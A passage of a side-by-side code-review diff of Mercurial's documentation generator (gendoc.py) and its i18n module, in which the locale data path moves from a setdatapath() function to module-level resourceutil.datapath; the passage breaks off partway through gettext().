Show More
@@ -1,334 +1,330 b'' | |||||
1 | #!/usr/bin/env python |
|
1 | #!/usr/bin/env python | |
2 | """usage: %s DOC ... |
|
2 | """usage: %s DOC ... | |
3 |
|
3 | |||
4 | where DOC is the name of a document |
|
4 | where DOC is the name of a document | |
5 | """ |
|
5 | """ | |
6 |
|
6 | |||
7 | from __future__ import absolute_import |
|
7 | from __future__ import absolute_import | |
8 |
|
8 | |||
9 | import os |
|
9 | import os | |
10 | import sys |
|
10 | import sys | |
11 | import textwrap |
|
11 | import textwrap | |
12 |
|
12 | |||
13 | try: |
|
13 | try: | |
14 | import msvcrt |
|
14 | import msvcrt | |
15 |
|
15 | |||
16 | msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY) |
|
16 | msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY) | |
17 | msvcrt.setmode(sys.stderr.fileno(), os.O_BINARY) |
|
17 | msvcrt.setmode(sys.stderr.fileno(), os.O_BINARY) | |
18 | except ImportError: |
|
18 | except ImportError: | |
19 | pass |
|
19 | pass | |
20 |
|
20 | |||
21 | # This script is executed during installs and may not have C extensions |
|
21 | # This script is executed during installs and may not have C extensions | |
22 | # available. Relax C module requirements. |
|
22 | # available. Relax C module requirements. | |
23 | os.environ['HGMODULEPOLICY'] = 'allow' |
|
23 | os.environ['HGMODULEPOLICY'] = 'allow' | |
24 | # import from the live mercurial repo |
|
24 | # import from the live mercurial repo | |
25 | sys.path.insert(0, "..") |
|
25 | sys.path.insert(0, "..") | |
26 | from mercurial import demandimport |
|
26 | from mercurial import demandimport | |
27 |
|
27 | |||
28 | demandimport.enable() |
|
28 | demandimport.enable() | |
29 | # Load util so that the locale path is set by i18n.setdatapath() before |
|
|||
30 | # calling _(). |
|
|||
31 | from mercurial import util |
|
|||
32 |
|
29 | |||
33 | util.datapath |
|
|||
34 | from mercurial import ( |
|
30 | from mercurial import ( | |
35 | commands, |
|
31 | commands, | |
36 | encoding, |
|
32 | encoding, | |
37 | extensions, |
|
33 | extensions, | |
38 | help, |
|
34 | help, | |
39 | minirst, |
|
35 | minirst, | |
40 | pycompat, |
|
36 | pycompat, | |
41 | ui as uimod, |
|
37 | ui as uimod, | |
42 | ) |
|
38 | ) | |
43 | from mercurial.i18n import ( |
|
39 | from mercurial.i18n import ( | |
44 | gettext, |
|
40 | gettext, | |
45 | _, |
|
41 | _, | |
46 | ) |
|
42 | ) | |
47 |
|
43 | |||
48 | table = commands.table |
|
44 | table = commands.table | |
49 | globalopts = commands.globalopts |
|
45 | globalopts = commands.globalopts | |
50 | helptable = help.helptable |
|
46 | helptable = help.helptable | |
51 | loaddoc = help.loaddoc |
|
47 | loaddoc = help.loaddoc | |
52 |
|
48 | |||
53 |
|
49 | |||
54 | def get_desc(docstr): |
|
50 | def get_desc(docstr): | |
55 | if not docstr: |
|
51 | if not docstr: | |
56 | return b"", b"" |
|
52 | return b"", b"" | |
57 | # sanitize |
|
53 | # sanitize | |
58 | docstr = docstr.strip(b"\n") |
|
54 | docstr = docstr.strip(b"\n") | |
59 | docstr = docstr.rstrip() |
|
55 | docstr = docstr.rstrip() | |
60 | shortdesc = docstr.splitlines()[0].strip() |
|
56 | shortdesc = docstr.splitlines()[0].strip() | |
61 |
|
57 | |||
62 | i = docstr.find(b"\n") |
|
58 | i = docstr.find(b"\n") | |
63 | if i != -1: |
|
59 | if i != -1: | |
64 | desc = docstr[i + 2 :] |
|
60 | desc = docstr[i + 2 :] | |
65 | else: |
|
61 | else: | |
66 | desc = shortdesc |
|
62 | desc = shortdesc | |
67 |
|
63 | |||
68 | desc = textwrap.dedent(desc.decode('latin1')).encode('latin1') |
|
64 | desc = textwrap.dedent(desc.decode('latin1')).encode('latin1') | |
69 |
|
65 | |||
70 | return (shortdesc, desc) |
|
66 | return (shortdesc, desc) | |
71 |
|
67 | |||
72 |
|
68 | |||
73 | def get_opts(opts): |
|
69 | def get_opts(opts): | |
74 | for opt in opts: |
|
70 | for opt in opts: | |
75 | if len(opt) == 5: |
|
71 | if len(opt) == 5: | |
76 | shortopt, longopt, default, desc, optlabel = opt |
|
72 | shortopt, longopt, default, desc, optlabel = opt | |
77 | else: |
|
73 | else: | |
78 | shortopt, longopt, default, desc = opt |
|
74 | shortopt, longopt, default, desc = opt | |
79 | optlabel = _(b"VALUE") |
|
75 | optlabel = _(b"VALUE") | |
80 | allopts = [] |
|
76 | allopts = [] | |
81 | if shortopt: |
|
77 | if shortopt: | |
82 | allopts.append(b"-%s" % shortopt) |
|
78 | allopts.append(b"-%s" % shortopt) | |
83 | if longopt: |
|
79 | if longopt: | |
84 | allopts.append(b"--%s" % longopt) |
|
80 | allopts.append(b"--%s" % longopt) | |
85 | if isinstance(default, list): |
|
81 | if isinstance(default, list): | |
86 | allopts[-1] += b" <%s[+]>" % optlabel |
|
82 | allopts[-1] += b" <%s[+]>" % optlabel | |
87 | elif (default is not None) and not isinstance(default, bool): |
|
83 | elif (default is not None) and not isinstance(default, bool): | |
88 | allopts[-1] += b" <%s>" % optlabel |
|
84 | allopts[-1] += b" <%s>" % optlabel | |
89 | if b'\n' in desc: |
|
85 | if b'\n' in desc: | |
90 | # only remove line breaks and indentation |
|
86 | # only remove line breaks and indentation | |
91 | desc = b' '.join(l.lstrip() for l in desc.split(b'\n')) |
|
87 | desc = b' '.join(l.lstrip() for l in desc.split(b'\n')) | |
92 | desc += default and _(b" (default: %s)") % bytes(default) or b"" |
|
88 | desc += default and _(b" (default: %s)") % bytes(default) or b"" | |
93 | yield (b", ".join(allopts), desc) |
|
89 | yield (b", ".join(allopts), desc) | |
94 |
|
90 | |||
95 |
|
91 | |||
96 | def get_cmd(cmd, cmdtable): |
|
92 | def get_cmd(cmd, cmdtable): | |
97 | d = {} |
|
93 | d = {} | |
98 | attr = cmdtable[cmd] |
|
94 | attr = cmdtable[cmd] | |
99 | cmds = cmd.lstrip(b"^").split(b"|") |
|
95 | cmds = cmd.lstrip(b"^").split(b"|") | |
100 |
|
96 | |||
101 | d[b'cmd'] = cmds[0] |
|
97 | d[b'cmd'] = cmds[0] | |
102 | d[b'aliases'] = cmd.split(b"|")[1:] |
|
98 | d[b'aliases'] = cmd.split(b"|")[1:] | |
103 | d[b'desc'] = get_desc(gettext(pycompat.getdoc(attr[0]))) |
|
99 | d[b'desc'] = get_desc(gettext(pycompat.getdoc(attr[0]))) | |
104 | d[b'opts'] = list(get_opts(attr[1])) |
|
100 | d[b'opts'] = list(get_opts(attr[1])) | |
105 |
|
101 | |||
106 | s = b'hg ' + cmds[0] |
|
102 | s = b'hg ' + cmds[0] | |
107 | if len(attr) > 2: |
|
103 | if len(attr) > 2: | |
108 | if not attr[2].startswith(b'hg'): |
|
104 | if not attr[2].startswith(b'hg'): | |
109 | s += b' ' + attr[2] |
|
105 | s += b' ' + attr[2] | |
110 | else: |
|
106 | else: | |
111 | s = attr[2] |
|
107 | s = attr[2] | |
112 | d[b'synopsis'] = s.strip() |
|
108 | d[b'synopsis'] = s.strip() | |
113 |
|
109 | |||
114 | return d |
|
110 | return d | |
115 |
|
111 | |||
116 |
|
112 | |||
117 | def showdoc(ui): |
|
113 | def showdoc(ui): | |
118 | # print options |
|
114 | # print options | |
119 | ui.write(minirst.section(_(b"Options"))) |
|
115 | ui.write(minirst.section(_(b"Options"))) | |
120 | multioccur = False |
|
116 | multioccur = False | |
121 | for optstr, desc in get_opts(globalopts): |
|
117 | for optstr, desc in get_opts(globalopts): | |
122 | ui.write(b"%s\n %s\n\n" % (optstr, desc)) |
|
118 | ui.write(b"%s\n %s\n\n" % (optstr, desc)) | |
123 | if optstr.endswith(b"[+]>"): |
|
119 | if optstr.endswith(b"[+]>"): | |
124 | multioccur = True |
|
120 | multioccur = True | |
125 | if multioccur: |
|
121 | if multioccur: | |
126 | ui.write(_(b"\n[+] marked option can be specified multiple times\n")) |
|
122 | ui.write(_(b"\n[+] marked option can be specified multiple times\n")) | |
127 | ui.write(b"\n") |
|
123 | ui.write(b"\n") | |
128 |
|
124 | |||
129 | # print cmds |
|
125 | # print cmds | |
130 | ui.write(minirst.section(_(b"Commands"))) |
|
126 | ui.write(minirst.section(_(b"Commands"))) | |
131 | commandprinter(ui, table, minirst.subsection, minirst.subsubsection) |
|
127 | commandprinter(ui, table, minirst.subsection, minirst.subsubsection) | |
132 |
|
128 | |||
133 | # print help topics |
|
129 | # print help topics | |
134 | # The config help topic is included in the hgrc.5 man page. |
|
130 | # The config help topic is included in the hgrc.5 man page. | |
135 | helpprinter(ui, helptable, minirst.section, exclude=[b'config']) |
|
131 | helpprinter(ui, helptable, minirst.section, exclude=[b'config']) | |
136 |
|
132 | |||
137 | ui.write(minirst.section(_(b"Extensions"))) |
|
133 | ui.write(minirst.section(_(b"Extensions"))) | |
138 | ui.write( |
|
134 | ui.write( | |
139 | _( |
|
135 | _( | |
140 | b"This section contains help for extensions that are " |
|
136 | b"This section contains help for extensions that are " | |
141 | b"distributed together with Mercurial. Help for other " |
|
137 | b"distributed together with Mercurial. Help for other " | |
142 | b"extensions is available in the help system." |
|
138 | b"extensions is available in the help system." | |
143 | ) |
|
139 | ) | |
144 | ) |
|
140 | ) | |
145 | ui.write( |
|
141 | ui.write( | |
146 | ( |
|
142 | ( | |
147 | b"\n\n" |
|
143 | b"\n\n" | |
148 | b".. contents::\n" |
|
144 | b".. contents::\n" | |
149 | b" :class: htmlonly\n" |
|
145 | b" :class: htmlonly\n" | |
150 | b" :local:\n" |
|
146 | b" :local:\n" | |
151 | b" :depth: 1\n\n" |
|
147 | b" :depth: 1\n\n" | |
152 | ) |
|
148 | ) | |
153 | ) |
|
149 | ) | |
154 |
|
150 | |||
155 | for extensionname in sorted(allextensionnames()): |
|
151 | for extensionname in sorted(allextensionnames()): | |
156 | mod = extensions.load(ui, extensionname, None) |
|
152 | mod = extensions.load(ui, extensionname, None) | |
157 | ui.write(minirst.subsection(extensionname)) |
|
153 | ui.write(minirst.subsection(extensionname)) | |
158 | ui.write(b"%s\n\n" % gettext(pycompat.getdoc(mod))) |
|
154 | ui.write(b"%s\n\n" % gettext(pycompat.getdoc(mod))) | |
159 | cmdtable = getattr(mod, 'cmdtable', None) |
|
155 | cmdtable = getattr(mod, 'cmdtable', None) | |
160 | if cmdtable: |
|
156 | if cmdtable: | |
161 | ui.write(minirst.subsubsection(_(b'Commands'))) |
|
157 | ui.write(minirst.subsubsection(_(b'Commands'))) | |
162 | commandprinter( |
|
158 | commandprinter( | |
163 | ui, |
|
159 | ui, | |
164 | cmdtable, |
|
160 | cmdtable, | |
165 | minirst.subsubsubsection, |
|
161 | minirst.subsubsubsection, | |
166 | minirst.subsubsubsubsection, |
|
162 | minirst.subsubsubsubsection, | |
167 | ) |
|
163 | ) | |
168 |
|
164 | |||
169 |
|
165 | |||
170 | def showtopic(ui, topic): |
|
166 | def showtopic(ui, topic): | |
171 | extrahelptable = [ |
|
167 | extrahelptable = [ | |
172 | ([b"common"], b'', loaddoc(b'common'), help.TOPIC_CATEGORY_MISC), |
|
168 | ([b"common"], b'', loaddoc(b'common'), help.TOPIC_CATEGORY_MISC), | |
173 | ([b"hg.1"], b'', loaddoc(b'hg.1'), help.TOPIC_CATEGORY_CONFIG), |
|
169 | ([b"hg.1"], b'', loaddoc(b'hg.1'), help.TOPIC_CATEGORY_CONFIG), | |
174 | ([b"hg-ssh.8"], b'', loaddoc(b'hg-ssh.8'), help.TOPIC_CATEGORY_CONFIG), |
|
170 | ([b"hg-ssh.8"], b'', loaddoc(b'hg-ssh.8'), help.TOPIC_CATEGORY_CONFIG), | |
175 | ( |
|
171 | ( | |
176 | [b"hgignore.5"], |
|
172 | [b"hgignore.5"], | |
177 | b'', |
|
173 | b'', | |
178 | loaddoc(b'hgignore.5'), |
|
174 | loaddoc(b'hgignore.5'), | |
179 | help.TOPIC_CATEGORY_CONFIG, |
|
175 | help.TOPIC_CATEGORY_CONFIG, | |
180 | ), |
|
176 | ), | |
181 | ([b"hgrc.5"], b'', loaddoc(b'hgrc.5'), help.TOPIC_CATEGORY_CONFIG), |
|
177 | ([b"hgrc.5"], b'', loaddoc(b'hgrc.5'), help.TOPIC_CATEGORY_CONFIG), | |
182 | ( |
|
178 | ( | |
183 | [b"hgignore.5.gendoc"], |
|
179 | [b"hgignore.5.gendoc"], | |
184 | b'', |
|
180 | b'', | |
185 | loaddoc(b'hgignore'), |
|
181 | loaddoc(b'hgignore'), | |
186 | help.TOPIC_CATEGORY_CONFIG, |
|
182 | help.TOPIC_CATEGORY_CONFIG, | |
187 | ), |
|
183 | ), | |
188 | ( |
|
184 | ( | |
189 | [b"hgrc.5.gendoc"], |
|
185 | [b"hgrc.5.gendoc"], | |
190 | b'', |
|
186 | b'', | |
191 | loaddoc(b'config'), |
|
187 | loaddoc(b'config'), | |
192 | help.TOPIC_CATEGORY_CONFIG, |
|
188 | help.TOPIC_CATEGORY_CONFIG, | |
193 | ), |
|
189 | ), | |
194 | ] |
|
190 | ] | |
195 | helpprinter(ui, helptable + extrahelptable, None, include=[topic]) |
|
191 | helpprinter(ui, helptable + extrahelptable, None, include=[topic]) | |
196 |
|
192 | |||
197 |
|
193 | |||
198 | def helpprinter(ui, helptable, sectionfunc, include=[], exclude=[]): |
|
194 | def helpprinter(ui, helptable, sectionfunc, include=[], exclude=[]): | |
199 | for h in helptable: |
|
195 | for h in helptable: | |
200 | names, sec, doc = h[0:3] |
|
196 | names, sec, doc = h[0:3] | |
201 | if exclude and names[0] in exclude: |
|
197 | if exclude and names[0] in exclude: | |
202 | continue |
|
198 | continue | |
203 | if include and names[0] not in include: |
|
199 | if include and names[0] not in include: | |
204 | continue |
|
200 | continue | |
205 | for name in names: |
|
201 | for name in names: | |
206 | ui.write(b".. _%s:\n" % name) |
|
202 | ui.write(b".. _%s:\n" % name) | |
207 | ui.write(b"\n") |
|
203 | ui.write(b"\n") | |
208 | if sectionfunc: |
|
204 | if sectionfunc: | |
209 | ui.write(sectionfunc(sec)) |
|
205 | ui.write(sectionfunc(sec)) | |
210 | if callable(doc): |
|
206 | if callable(doc): | |
211 | doc = doc(ui) |
|
207 | doc = doc(ui) | |
212 | ui.write(doc) |
|
208 | ui.write(doc) | |
213 | ui.write(b"\n") |
|
209 | ui.write(b"\n") | |
214 |
|
210 | |||
215 |
|
211 | |||
216 | def commandprinter(ui, cmdtable, sectionfunc, subsectionfunc): |
|
212 | def commandprinter(ui, cmdtable, sectionfunc, subsectionfunc): | |
217 | """Render restructuredtext describing a list of commands and their |
|
213 | """Render restructuredtext describing a list of commands and their | |
218 | documentations, grouped by command category. |
|
214 | documentations, grouped by command category. | |
219 |
|
215 | |||
220 | Args: |
|
216 | Args: | |
221 | ui: UI object to write the output to |
|
217 | ui: UI object to write the output to | |
222 | cmdtable: a dict that maps a string of the command name plus its aliases |
|
218 | cmdtable: a dict that maps a string of the command name plus its aliases | |
223 | (separated with pipes) to a 3-tuple of (the command's function, a list |
|
219 | (separated with pipes) to a 3-tuple of (the command's function, a list | |
224 | of its option descriptions, and a string summarizing available |
|
220 | of its option descriptions, and a string summarizing available | |
225 | options). Example, with aliases added for demonstration purposes: |
|
221 | options). Example, with aliases added for demonstration purposes: | |
226 |
|
222 | |||
227 | 'phase|alias1|alias2': ( |
|
223 | 'phase|alias1|alias2': ( | |
228 | <function phase at 0x7f0816b05e60>, |
|
224 | <function phase at 0x7f0816b05e60>, | |
229 | [ ('p', 'public', False, 'set changeset phase to public'), |
|
225 | [ ('p', 'public', False, 'set changeset phase to public'), | |
230 | ..., |
|
226 | ..., | |
231 | ('r', 'rev', [], 'target revision', 'REV')], |
|
227 | ('r', 'rev', [], 'target revision', 'REV')], | |
232 | '[-p|-d|-s] [-f] [-r] [REV...]' |
|
228 | '[-p|-d|-s] [-f] [-r] [REV...]' | |
233 | ) |
|
229 | ) | |
234 | sectionfunc: minirst function to format command category headers |
|
230 | sectionfunc: minirst function to format command category headers | |
235 | subsectionfunc: minirst function to format command headers |
|
231 | subsectionfunc: minirst function to format command headers | |
236 | """ |
|
232 | """ | |
237 | h = {} |
|
233 | h = {} | |
238 | for c, attr in cmdtable.items(): |
|
234 | for c, attr in cmdtable.items(): | |
239 | f = c.split(b"|")[0] |
|
235 | f = c.split(b"|")[0] | |
240 | f = f.lstrip(b"^") |
|
236 | f = f.lstrip(b"^") | |
241 | h[f] = c |
|
237 | h[f] = c | |
242 | cmds = h.keys() |
|
238 | cmds = h.keys() | |
243 |
|
239 | |||
244 | def helpcategory(cmd): |
|
240 | def helpcategory(cmd): | |
245 | """Given a canonical command name from `cmds` (above), retrieve its |
|
241 | """Given a canonical command name from `cmds` (above), retrieve its | |
246 | help category. If helpcategory is None, default to CATEGORY_NONE. |
|
242 | help category. If helpcategory is None, default to CATEGORY_NONE. | |
247 | """ |
|
243 | """ | |
248 | fullname = h[cmd] |
|
244 | fullname = h[cmd] | |
249 | details = cmdtable[fullname] |
|
245 | details = cmdtable[fullname] | |
250 | helpcategory = details[0].helpcategory |
|
246 | helpcategory = details[0].helpcategory | |
251 | return helpcategory or help.registrar.command.CATEGORY_NONE |
|
247 | return helpcategory or help.registrar.command.CATEGORY_NONE | |
252 |
|
248 | |||
253 | cmdsbycategory = {category: [] for category in help.CATEGORY_ORDER} |
|
249 | cmdsbycategory = {category: [] for category in help.CATEGORY_ORDER} | |
254 | for cmd in cmds: |
|
250 | for cmd in cmds: | |
255 | # If a command category wasn't registered, the command won't get |
|
251 | # If a command category wasn't registered, the command won't get | |
256 | # rendered below, so we raise an AssertionError. |
|
252 | # rendered below, so we raise an AssertionError. | |
257 | if helpcategory(cmd) not in cmdsbycategory: |
|
253 | if helpcategory(cmd) not in cmdsbycategory: | |
258 | raise AssertionError( |
|
254 | raise AssertionError( | |
259 | "The following command did not register its (category) in " |
|
255 | "The following command did not register its (category) in " | |
260 | "help.CATEGORY_ORDER: %s (%s)" % (cmd, helpcategory(cmd)) |
|
256 | "help.CATEGORY_ORDER: %s (%s)" % (cmd, helpcategory(cmd)) | |
261 | ) |
|
257 | ) | |
262 | cmdsbycategory[helpcategory(cmd)].append(cmd) |
|
258 | cmdsbycategory[helpcategory(cmd)].append(cmd) | |
263 |
|
259 | |||
264 | # Print the help for each command. We present the commands grouped by |
|
260 | # Print the help for each command. We present the commands grouped by | |
265 | # category, and we use help.CATEGORY_ORDER as a guide for a helpful order |
|
261 | # category, and we use help.CATEGORY_ORDER as a guide for a helpful order | |
266 | # in which to present the categories. |
|
262 | # in which to present the categories. | |
267 | for category in help.CATEGORY_ORDER: |
|
263 | for category in help.CATEGORY_ORDER: | |
268 | categorycmds = cmdsbycategory[category] |
|
264 | categorycmds = cmdsbycategory[category] | |
269 | if not categorycmds: |
|
265 | if not categorycmds: | |
270 | # Skip empty categories |
|
266 | # Skip empty categories | |
271 | continue |
|
267 | continue | |
272 | # Print a section header for the category. |
|
268 | # Print a section header for the category. | |
273 | # For now, the category header is at the same level as the headers for |
|
269 | # For now, the category header is at the same level as the headers for | |
274 | # the commands in the category; this is fixed in the next commit. |
|
270 | # the commands in the category; this is fixed in the next commit. | |
275 | ui.write(sectionfunc(help.CATEGORY_NAMES[category])) |
|
271 | ui.write(sectionfunc(help.CATEGORY_NAMES[category])) | |
276 | # Print each command in the category |
|
272 | # Print each command in the category | |
277 | for f in sorted(categorycmds): |
|
273 | for f in sorted(categorycmds): | |
278 | if f.startswith(b"debug"): |
|
274 | if f.startswith(b"debug"): | |
279 | continue |
|
275 | continue | |
280 | d = get_cmd(h[f], cmdtable) |
|
276 | d = get_cmd(h[f], cmdtable) | |
281 | ui.write(subsectionfunc(d[b'cmd'])) |
|
277 | ui.write(subsectionfunc(d[b'cmd'])) | |
282 | # short description |
|
278 | # short description | |
283 | ui.write(d[b'desc'][0]) |
|
279 | ui.write(d[b'desc'][0]) | |
284 | # synopsis |
|
280 | # synopsis | |
285 | ui.write(b"::\n\n") |
|
281 | ui.write(b"::\n\n") | |
286 | synopsislines = d[b'synopsis'].splitlines() |
|
282 | synopsislines = d[b'synopsis'].splitlines() | |
287 | for line in synopsislines: |
|
283 | for line in synopsislines: | |
288 | # some commands (such as rebase) have a multi-line |
|
284 | # some commands (such as rebase) have a multi-line | |
289 | # synopsis |
|
285 | # synopsis | |
290 | ui.write(b" %s\n" % line) |
|
286 | ui.write(b" %s\n" % line) | |
291 | ui.write(b'\n') |
|
287 | ui.write(b'\n') | |
292 | # description |
|
288 | # description | |
293 | ui.write(b"%s\n\n" % d[b'desc'][1]) |
|
289 | ui.write(b"%s\n\n" % d[b'desc'][1]) | |
294 | # options |
|
290 | # options | |
295 | opt_output = list(d[b'opts']) |
|
291 | opt_output = list(d[b'opts']) | |
296 | if opt_output: |
|
292 | if opt_output: | |
297 | opts_len = max([len(line[0]) for line in opt_output]) |
|
293 | opts_len = max([len(line[0]) for line in opt_output]) | |
298 | ui.write(_(b"Options:\n\n")) |
|
294 | ui.write(_(b"Options:\n\n")) | |
299 | multioccur = False |
|
295 | multioccur = False | |
300 | for optstr, desc in opt_output: |
|
296 | for optstr, desc in opt_output: | |
301 | if desc: |
|
297 | if desc: | |
302 | s = b"%-*s %s" % (opts_len, optstr, desc) |
|
298 | s = b"%-*s %s" % (opts_len, optstr, desc) | |
303 | else: |
|
299 | else: | |
304 | s = optstr |
|
300 | s = optstr | |
305 | ui.write(b"%s\n" % s) |
|
301 | ui.write(b"%s\n" % s) | |
306 | if optstr.endswith(b"[+]>"): |
|
302 | if optstr.endswith(b"[+]>"): | |
307 | multioccur = True |
|
303 | multioccur = True | |
308 | if multioccur: |
|
304 | if multioccur: | |
309 | ui.write( |
|
305 | ui.write( | |
310 | _( |
|
306 | _( | |
311 | b"\n[+] marked option can be specified" |
|
307 | b"\n[+] marked option can be specified" | |
312 | b" multiple times\n" |
|
308 | b" multiple times\n" | |
313 | ) |
|
309 | ) | |
314 | ) |
|
310 | ) | |
315 | ui.write(b"\n") |
|
311 | ui.write(b"\n") | |
316 | # aliases |
|
312 | # aliases | |
317 | if d[b'aliases']: |
|
313 | if d[b'aliases']: | |
318 | ui.write(_(b" aliases: %s\n\n") % b" ".join(d[b'aliases'])) |
|
314 | ui.write(_(b" aliases: %s\n\n") % b" ".join(d[b'aliases'])) | |
319 |
|
315 | |||
320 |
|
316 | |||
321 | def allextensionnames(): |
|
317 | def allextensionnames(): | |
322 | return set(extensions.enabled().keys()) | set(extensions.disabled().keys()) |
|
318 | return set(extensions.enabled().keys()) | set(extensions.disabled().keys()) | |
323 |
|
319 | |||
324 |
|
320 | |||
325 | if __name__ == "__main__": |
|
321 | if __name__ == "__main__": | |
326 | doc = b'hg.1.gendoc' |
|
322 | doc = b'hg.1.gendoc' | |
327 | if len(sys.argv) > 1: |
|
323 | if len(sys.argv) > 1: | |
328 | doc = encoding.strtolocal(sys.argv[1]) |
|
324 | doc = encoding.strtolocal(sys.argv[1]) | |
329 |
|
325 | |||
330 | ui = uimod.ui.load() |
|
326 | ui = uimod.ui.load() | |
331 | if doc == b'hg.1.gendoc': |
|
327 | if doc == b'hg.1.gendoc': | |
332 | showdoc(ui) |
|
328 | showdoc(ui) | |
333 | else: |
|
329 | else: | |
334 | showtopic(ui, encoding.strtolocal(sys.argv[1])) |
|
330 | showtopic(ui, encoding.strtolocal(sys.argv[1])) |
@@ -1,118 +1,115 b'' | |||||
1 | # i18n.py - internationalization support for mercurial |
|
1 | # i18n.py - internationalization support for mercurial | |
2 | # |
|
2 | # | |
3 | # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com> |
|
3 | # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com> | |
4 | # |
|
4 | # | |
5 | # This software may be used and distributed according to the terms of the |
|
5 | # This software may be used and distributed according to the terms of the | |
6 | # GNU General Public License version 2 or any later version. |
|
6 | # GNU General Public License version 2 or any later version. | |
7 |
|
7 | |||
8 | from __future__ import absolute_import |
|
8 | from __future__ import absolute_import | |
9 |
|
9 | |||
10 | import gettext as gettextmod |
|
10 | import gettext as gettextmod | |
11 | import locale |
|
11 | import locale | |
12 | import os |
|
12 | import os | |
13 | import sys |
|
13 | import sys | |
14 |
|
14 | |||
15 | from .pycompat import getattr |
|
15 | from .pycompat import getattr | |
|
16 | from .utils import resourceutil | |||
16 | from . import ( |
|
17 | from . import ( | |
17 | encoding, |
|
18 | encoding, | |
18 | pycompat, |
|
19 | pycompat, | |
19 | ) |
|
20 | ) | |
20 |
|
21 | |||
21 | # modelled after templater.templatepath: |
|
22 | # modelled after templater.templatepath: | |
22 | if getattr(sys, 'frozen', None) is not None: |
|
23 | if getattr(sys, 'frozen', None) is not None: | |
23 | module = pycompat.sysexecutable |
|
24 | module = pycompat.sysexecutable | |
24 | else: |
|
25 | else: | |
25 | module = pycompat.fsencode(__file__) |
|
26 | module = pycompat.fsencode(__file__) | |
26 |
|
27 | |||
27 | _languages = None |
|
28 | _languages = None | |
28 | if ( |
|
29 | if ( | |
29 | pycompat.iswindows |
|
30 | pycompat.iswindows | |
30 | and b'LANGUAGE' not in encoding.environ |
|
31 | and b'LANGUAGE' not in encoding.environ | |
31 | and b'LC_ALL' not in encoding.environ |
|
32 | and b'LC_ALL' not in encoding.environ | |
32 | and b'LC_MESSAGES' not in encoding.environ |
|
33 | and b'LC_MESSAGES' not in encoding.environ | |
33 | and b'LANG' not in encoding.environ |
|
34 | and b'LANG' not in encoding.environ | |
34 | ): |
|
35 | ): | |
35 | # Try to detect UI language by "User Interface Language Management" API |
|
36 | # Try to detect UI language by "User Interface Language Management" API | |
36 | # if no locale variables are set. Note that locale.getdefaultlocale() |
|
37 | # if no locale variables are set. Note that locale.getdefaultlocale() | |
37 | # uses GetLocaleInfo(), which may be different from UI language. |
|
38 | # uses GetLocaleInfo(), which may be different from UI language. | |
38 | # (See http://msdn.microsoft.com/en-us/library/dd374098(v=VS.85).aspx ) |
|
39 | # (See http://msdn.microsoft.com/en-us/library/dd374098(v=VS.85).aspx ) | |
39 | try: |
|
40 | try: | |
40 | import ctypes |
|
41 | import ctypes | |
41 |
|
42 | |||
42 | langid = ctypes.windll.kernel32.GetUserDefaultUILanguage() |
|
43 | langid = ctypes.windll.kernel32.GetUserDefaultUILanguage() | |
43 | _languages = [locale.windows_locale[langid]] |
|
44 | _languages = [locale.windows_locale[langid]] | |
44 | except (ImportError, AttributeError, KeyError): |
|
45 | except (ImportError, AttributeError, KeyError): | |
45 | # ctypes not found or unknown langid |
|
46 | # ctypes not found or unknown langid | |
46 | pass |
|
47 | pass | |
47 |
|
48 | |||
48 | _ugettext = None |
|
|||
49 |
|
49 | |||
50 |
|
50 | datapath = pycompat.fsdecode(resourceutil.datapath) | ||
51 | def setdatapath(datapath): |
|
|||
52 | datapath = pycompat.fsdecode(datapath) |
|
|||
53 |
|
|
51 | localedir = os.path.join(datapath, 'locale') | |
54 |
|
|
52 | t = gettextmod.translation('hg', localedir, _languages, fallback=True) | |
55 | global _ugettext |
|
|||
56 |
|
|
53 | try: | |
57 |
|
|
54 | _ugettext = t.ugettext | |
58 |
|
|
55 | except AttributeError: | |
59 |
|
|
56 | _ugettext = t.gettext | |
60 |
|
57 | |||
61 |
|
58 | |||
62 | _msgcache = {} # encoding: {message: translation} |
|
59 | _msgcache = {} # encoding: {message: translation} | |
63 |
|
60 | |||
64 |
|
61 | |||
65 | def gettext(message): |
|
62 | def gettext(message): | |
66 | """Translate message. |
|
63 | """Translate message. | |
67 |
|
64 | |||
68 | The message is looked up in the catalog to get a Unicode string, |
|
65 | The message is looked up in the catalog to get a Unicode string, | |
69 | which is encoded in the local encoding before being returned. |
|
66 | which is encoded in the local encoding before being returned. | |
70 |
|
67 | |||
71 | Important: message is restricted to characters in the encoding |
|
68 | Important: message is restricted to characters in the encoding | |
72 | given by sys.getdefaultencoding() which is most likely 'ascii'. |
|
69 | given by sys.getdefaultencoding() which is most likely 'ascii'. | |
73 | """ |
|
70 | """ | |
74 | # If message is None, t.ugettext will return u'None' as the |
|
71 | # If message is None, t.ugettext will return u'None' as the | |
75 | # translation whereas our callers expect us to return None. |
|
72 | # translation whereas our callers expect us to return None. | |
76 | if message is None or not _ugettext: |
|
73 | if message is None or not _ugettext: | |
77 | return message |
|
74 | return message | |
78 |
|
75 | |||
79 | cache = _msgcache.setdefault(encoding.encoding, {}) |
|
76 | cache = _msgcache.setdefault(encoding.encoding, {}) | |
80 | if message not in cache: |
|
77 | if message not in cache: | |
81 | if type(message) is pycompat.unicode: |
|
78 | if type(message) is pycompat.unicode: | |
82 | # goofy unicode docstrings in test |
|
79 | # goofy unicode docstrings in test | |
83 | paragraphs = message.split(u'\n\n') |
|
80 | paragraphs = message.split(u'\n\n') | |
84 | else: |
|
81 | else: | |
85 | # should be ascii, but we have unicode docstrings in test, which |
|
82 | # should be ascii, but we have unicode docstrings in test, which | |
86 | # are converted to utf-8 bytes on Python 3. |
|
83 | # are converted to utf-8 bytes on Python 3. | |
87 | paragraphs = [p.decode("utf-8") for p in message.split(b'\n\n')] |
|
84 | paragraphs = [p.decode("utf-8") for p in message.split(b'\n\n')] | |
88 | # Be careful not to translate the empty string -- it holds the |
|
85 | # Be careful not to translate the empty string -- it holds the | |
89 | # meta data of the .po file. |
|
86 | # meta data of the .po file. | |
90 | u = u'\n\n'.join([p and _ugettext(p) or u'' for p in paragraphs]) |
|
87 | u = u'\n\n'.join([p and _ugettext(p) or u'' for p in paragraphs]) | |
91 | try: |
|
88 | try: | |
92 | # encoding.tolocal cannot be used since it will first try to |
|
89 | # encoding.tolocal cannot be used since it will first try to | |
93 | # decode the Unicode string. Calling u.decode(enc) really |
|
90 | # decode the Unicode string. Calling u.decode(enc) really | |
94 | # means u.encode(sys.getdefaultencoding()).decode(enc). Since |
|
